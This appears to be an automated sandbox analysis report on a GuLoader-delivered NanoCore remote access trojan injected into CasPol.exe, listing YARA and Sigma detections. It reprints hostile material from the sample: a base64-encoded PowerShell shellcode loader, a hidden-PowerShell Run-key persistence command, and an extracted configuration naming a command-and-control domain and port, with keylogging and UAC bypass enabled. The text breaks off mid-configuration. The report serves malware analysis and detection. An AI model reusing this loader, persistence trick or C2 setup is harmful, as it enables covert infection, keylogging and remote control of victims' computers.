Process Memory Space: CasPol.exe PID: 3064	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1e68c:$a: NanoCore 0x1e6fb:$a: NanoCore 0x1e792:$a: NanoCore 0x27a74:$a: NanoCore 0x27acd:$a: NanoCore 0x27b0a:$a: NanoCore 0x27b83:$a: NanoCore 0x2830f:$a: NanoCore 0x28362:$a: NanoCore 0x2839b:$a: NanoCore 0x2840e:$a: NanoCore 0x290f0:$a: NanoCore 0x2bf8f:$a: NanoCore 0x2bfe8:$a: NanoCore 0x2c025:$a: NanoCore 0x2c09e:$a: NanoCore 0x2c957:$a: NanoCore 0x2c9aa:$a: NanoCore 0x2c9e3:$a: NanoCore 0x2ca56:$a: NanoCore 0x34028:$a: NanoCore
Process Memory Space: CasPol.exe PID: 7664	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: CasPol.exe PID: 7664	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x22bde:$a: NanoCore 0x22bf2:$a: NanoCore 0x3025c:$a: NanoCore 0x302cb:$a: NanoCore 0x30362:$a: NanoCore 0x39630:$a: NanoCore 0x39689:$a: NanoCore 0x396c6:$a: NanoCore 0x3973f:$a: NanoCore 0x39ecb:$a: NanoCore 0x39f1e:$a: NanoCore 0x39f57:$a: NanoCore 0x39fca:$a: NanoCore 0x3acac:$a: NanoCore 0x42583:$a: NanoCore 0x425dc:$a: NanoCore 0x42619:$a: NanoCore 0x42692:$a: NanoCore 0x42f4b:$a: NanoCore 0x42f9e:$a: NanoCore 0x42fd7:$a: NanoCore
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
37.2.CasPol.exe.1e1c3f10.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
37.2.CasPol.exe.1e1c3f10.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
34.2.CasPol.exe.1e173f10.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
34.2.CasPol.exe.1e173f10.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
37.2.CasPol.exe.1f1eeadc.3.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
37.2.CasPol.exe.1f1eeadc.3.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
37.2.CasPol.exe.1f1eeadc.3.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
34.2.CasPol.exe.1f19eadc.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
34.2.CasPol.exe.1f19eadc.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
34.2.CasPol.exe.1f19eadc.2.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
34.2.CasPol.exe.1f1a3105.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24168:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x24195:$x2: IClientNetworkHost
34.2.CasPol.exe.1f1a3105.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24168:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25243:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x24182:$s5: IClientLoggingHost
34.2.CasPol.exe.1f1a3105.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
37.2.CasPol.exe.1f1f3105.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24168:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x24195:$x2: IClientNetworkHost
37.2.CasPol.exe.1f1f3105.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24168:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25243:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x24182:$s5: IClientLoggingHost
37.2.CasPol.exe.1f1f3105.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
34.2.CasPol.exe.1f19eadc.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x28791:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287be:$x2: IClientNetworkHost
34.2.CasPol.exe.1f19eadc.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x28791:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2986c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287ab:$s5: IClientLoggingHost
34.2.CasPol.exe.1f19eadc.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
37.2.CasPol.exe.1f1e9ca6.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5c7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d5f4:$x2: IClientNetworkHost
37.2.CasPol.exe.1f1e9ca6.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5c7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6a2:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d5e1:$s5: IClientLoggingHost
37.2.CasPol.exe.1f1e9ca6.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
37.2.CasPol.exe.1f1e9ca6.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d57d:$a: NanoCore 0x2d592:$a: NanoCore 0x2d5c7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d339:$b: ClientPlugin 0x2d354:$b: ClientPlugin
34.2.CasPol.exe.1f199ca6.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5c7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d5f4:$x2: IClientNetworkHost
34.2.CasPol.exe.1f199ca6.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5c7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6a2:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d5e1:$s5: IClientLoggingHost
34.2.CasPol.exe.1f199ca6.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
34.2.CasPol.exe.1f199ca6.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d57d:$a: NanoCore 0x2d592:$a: NanoCore 0x2d5c7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d339:$b: ClientPlugin 0x2d354:$b: ClientPlugin
37.2.CasPol.exe.1f1eeadc.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x28791:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287be:$x2: IClientNetworkHost
37.2.CasPol.exe.1f1eeadc.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x28791:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2986c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287ab:$s5: IClientLoggingHost
37.2.CasPol.exe.1f1eeadc.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Click to see the 25 entries

Sigma Overview

AV Detection

Sigma detected: NanoCore

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 5920, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

E-Banking Fraud

Sigma detected: NanoCore

Source: File created

System Summary

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAF

Source: Process started

Author: frack113: Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgA

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton: Data: Details: cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor), EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 5920, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Avel

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7640, TargetFilename: C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgA

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132878557510367129.7640.DefaultAppDomain.powershell

Stealing of Sensitive Information

Sigma detected: NanoCore

Source: File created

Remote Access Functionality

Sigma detected: NanoCore

Source: File created

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000010.00000000.266464354998.0000000001300000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "https://onedrive.live.com/download?cidO"}
Source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "9bd83597-93e4-4366-8889-6a4efb8a", "Group": "2022", "Domain1": "tochukwu1122.ddns.net", "Domain2": "127.0.0.1", "Port": 1122, "KeyboardLogging": "Enable", "RunOnStartup": "Enable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": 